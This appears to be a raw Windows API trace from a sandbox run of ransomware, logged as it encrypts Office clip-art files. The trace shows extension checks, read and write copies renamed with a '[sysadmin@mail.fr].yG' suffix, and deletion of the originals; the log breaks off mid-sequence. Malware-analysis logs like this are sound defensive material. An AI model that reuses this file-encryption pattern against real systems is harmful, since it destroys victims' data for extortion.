	[0183.450] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0183.450] lstrlenW (lpString=".dbf") returned 4
	[0183.450] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0183.450] lstrlenW (lpString=".1cd") returned 4
	[0183.450] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0183.450] lstrlenW (lpString=".jpg") returned 4
	[0183.451] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.451] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0183.451] lstrlenW (lpString="DD01628_.WMF") returned 12
	[0183.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0183.451] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=19068) returned 1
	[0183.451] CloseHandle (hObject=0x398) returned 1
	[0183.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf")) returned 0x220
	[0183.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0183.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0183.452] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.452] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0183.453] GetLastError () returned 0x0
	[0183.453] ReadFile (in: hFile=0x398, lpBuffer=0x3d1f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesRead=0x315fecc*=0x4a7c, lpOverlapped=0x0) returned 1
	[0183.454] WriteFile (in: hFile=0x39c, lpBuffer=0x3d1f020*, nNumberOfBytesToWrite=0x4a80, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesWritten=0x315fc94*=0x4a80, lpOverlapped=0x0) returned 1
	[0183.456] ReadFile (in: hFile=0x398, lpBuffer=0x3d1f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.456] WriteFile (in: hFile=0x39c, lpBuffer=0x3d1f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.456] SetEndOfFile (hFile=0x39c) returned 1
	[0183.456] CloseHandle (hObject=0x39c) returned 1
	[0183.456] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.456] SetEndOfFile (hFile=0x398) returned 1
	[0183.458] CloseHandle (hObject=0x398) returned 1
	[0183.458] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0183.458] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf")) returned 1
	[0183.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0183.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0183.459] lstrlenW (lpString=".doc") returned 4
	[0183.459] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.459] lstrlenW (lpString=".docx") returned 5
	[0183.459] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.459] lstrlenW (lpString=".pdf") returned 4
	[0183.459] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.459] lstrlenW (lpString=".xls") returned 4
	[0183.459] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.459] lstrlenW (lpString=".xlsx") returned 5
	[0183.459] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.460] lstrlenW (lpString=".ppt") returned 4
	[0183.460] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0183.460] lstrlenW (lpString=".zip") returned 4
	[0183.460] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.460] lstrlenW (lpString=".rar") returned 4
	[0183.460] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.460] lstrlenW (lpString=".bz2") returned 4
	[0183.460] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.460] lstrlenW (lpString=".7z") returned 3
	[0183.460] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0183.460] lstrlenW (lpString=".dbf") returned 4
	[0183.460] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0183.460] lstrlenW (lpString=".1cd") returned 4
	[0183.460] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0183.460] lstrlenW (lpString=".jpg") returned 4
	[0183.460] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0183.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0183.460] lstrlenW (lpString=".doc") returned 4
	[0183.460] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.460] lstrlenW (lpString=".docx") returned 5
	[0183.460] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.461] lstrlenW (lpString=".pdf") returned 4
	[0183.461] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.461] lstrlenW (lpString=".xls") returned 4
	[0183.461] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.461] lstrlenW (lpString=".xlsx") returned 5
	[0183.461] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.461] lstrlenW (lpString=".ppt") returned 4
	[0183.461] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0183.461] lstrlenW (lpString=".zip") returned 4
	[0183.461] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.461] lstrlenW (lpString=".rar") returned 4
	[0183.461] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.461] lstrlenW (lpString=".bz2") returned 4
	[0183.461] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.461] lstrlenW (lpString=".7z") returned 3
	[0183.461] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0183.461] lstrlenW (lpString=".dbf") returned 4
	[0183.461] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0183.461] lstrlenW (lpString=".1cd") returned 4
	[0183.461] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0183.461] lstrlenW (lpString=".jpg") returned 4
	[0183.461] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.462] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0183.462] lstrlenW (lpString="DD01629_.WMF") returned 12
	[0183.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0183.462] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=580) returned 1
	[0183.462] CloseHandle (hObject=0x398) returned 1
	[0183.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf")) returned 0x220
	[0183.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0183.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0
	[0183.744] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.744] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0183.745] GetLastError () returned 0x0
	[0183.745] ReadFile (in: hFile=0x3a0, lpBuffer=0x3d1f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesRead=0x315fecc*=0x244, lpOverlapped=0x0) returned 1
	[0183.746] WriteFile (in: hFile=0x398, lpBuffer=0x3d1f020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesWritten=0x315fc94*=0x250, lpOverlapped=0x0) returned 1
	[0183.747] ReadFile (in: hFile=0x3a0, lpBuffer=0x3d1f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.747] WriteFile (in: hFile=0x398, lpBuffer=0x3d1f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.747] SetEndOfFile (hFile=0x398) returned 1
	[0183.748] CloseHandle (hObject=0x398) returned 1
	[0183.748] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.748] SetEndOfFile (hFile=0x3a0) returned 1
	[0183.749] CloseHandle (hObject=0x3a0) returned 1
	[0183.749] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0183.750] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf")) returned 1
	[0183.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0183.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0183.751] lstrlenW (lpString=".doc") returned 4
	[0183.751] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.751] lstrlenW (lpString=".docx") returned 5
	[0183.751] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.751] lstrlenW (lpString=".pdf") returned 4
	[0183.751] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.751] lstrlenW (lpString=".xls") returned 4
	[0183.751] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.751] lstrlenW (lpString=".xlsx") returned 5
	[0183.751] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.751] lstrlenW (lpString=".ppt") returned 4
	[0183.751] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0183.751] lstrlenW (lpString=".zip") returned 4
	[0183.751] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.751] lstrlenW (lpString=".rar") returned 4
	[0183.751] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.751] lstrlenW (lpString=".bz2") returned 4
	[0183.751] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.751] lstrlenW (lpString=".7z") returned 3
	[0183.751] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0183.751] lstrlenW (lpString=".dbf") returned 4
	[0183.751] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0183.752] lstrlenW (lpString=".1cd") returned 4
	[0183.752] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0183.752] lstrlenW (lpString=".jpg") returned 4
	[0183.752] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0183.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0183.752] lstrlenW (lpString=".doc") returned 4
	[0183.752] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.752] lstrlenW (lpString=".docx") returned 5
	[0183.752] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.752] lstrlenW (lpString=".pdf") returned 4
	[0183.752] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.752] lstrlenW (lpString=".xls") returned 4
	[0183.752] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.752] lstrlenW (lpString=".xlsx") returned 5
	[0183.752] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.752] lstrlenW (lpString=".ppt") returned 4
	[0183.753] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0183.753] lstrlenW (lpString=".zip") returned 4
	[0183.753] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.753] lstrlenW (lpString=".rar") returned 4
	[0183.753] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.753] lstrlenW (lpString=".bz2") returned 4
	[0183.753] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.753] lstrlenW (lpString=".7z") returned 3
	[0183.753] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0183.753] lstrlenW (lpString=".dbf") returned 4
	[0183.753] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0183.753] lstrlenW (lpString=".1cd") returned 4
	[0183.753] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0183.753] lstrlenW (lpString=".jpg") returned 4
	[0183.753] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.753] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0183.753] lstrlenW (lpString="EN00202_.WMF") returned 12
	[0183.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0
	[0183.754] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=6938) returned 1
	[0183.754] CloseHandle (hObject=0x3a0) returned 1
	[0183.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf")) returned 0x220
	[0183.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0183.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0
	[0183.755] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.755] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0183.756] GetLastError () returned 0x0
	[0183.756] ReadFile (in: hFile=0x3a0, lpBuffer=0x3d1f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesRead=0x315fecc*=0x1b1a, lpOverlapped=0x0) returned 1
	[0183.757] WriteFile (in: hFile=0x398, lpBuffer=0x3d1f020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesWritten=0x315fc94*=0x1b20, lpOverlapped=0x0) returned 1
	[0183.759] ReadFile (in: hFile=0x3a0, lpBuffer=0x3d1f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.759] WriteFile (in: hFile=0x398, lpBuffer=0x3d1f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.759] SetEndOfFile (hFile=0x398) returned 1
	[0183.759] CloseHandle (hObject=0x398) returned 1
	[0183.759] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.759] SetEndOfFile (hFile=0x3a0) returned 1
	[0183.760] CloseHandle (hObject=0x3a0) returned 1
	[0183.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0183.760] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf")) returned 1
	[0183.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0183.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0183.762] lstrlenW (lpString=".doc") returned 4
	[0183.762] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.762] lstrlenW (lpString=".docx") returned 5
	[0183.762] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.762] lstrlenW (lpString=".pdf") returned 4
	[0183.762] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.762] lstrlenW (lpString=".xls") returned 4
	[0183.762] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.762] lstrlenW (lpString=".xlsx") returned 5
	[0183.762] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.762] lstrlenW (lpString=".ppt") returned 4
	[0183.762] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0183.762] lstrlenW (lpString=".zip") returned 4
	[0183.762] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.762] lstrlenW (lpString=".rar") returned 4
	[0183.762] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.762] lstrlenW (lpString=".bz2") returned 4
	[0183.762] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.762] lstrlenW (lpString=".7z") returned 3
	[0183.762] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0183.762] lstrlenW (lpString=".dbf") returned 4
	[0183.762] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0183.762] lstrlenW (lpString=".1cd") returned 4
	[0183.763] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0183.763] lstrlenW (lpString=".jpg") returned 4
	[0183.763] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0183.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0183.763] lstrlenW (lpString=".doc") returned 4
	[0183.763] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.763] lstrlenW (lpString=".docx") returned 5
	[0183.763] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.763] lstrlenW (lpString=".pdf") returned 4
	[0183.763] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.763] lstrlenW (lpString=".xls") returned 4
	[0183.763] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.763] lstrlenW (lpString=".xlsx") returned 5
	[0183.763] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.763] lstrlenW (lpString=".ppt") returned 4
	[0183.763] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68
	[0183.763] lstrlenW (lpString=".zip") returned 4
	[0183.763] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.763] lstrlenW (lpString=".rar") returned 4
	[0183.763] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.763] lstrlenW (lpString=".bz2") returned 4
	[0183.763] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
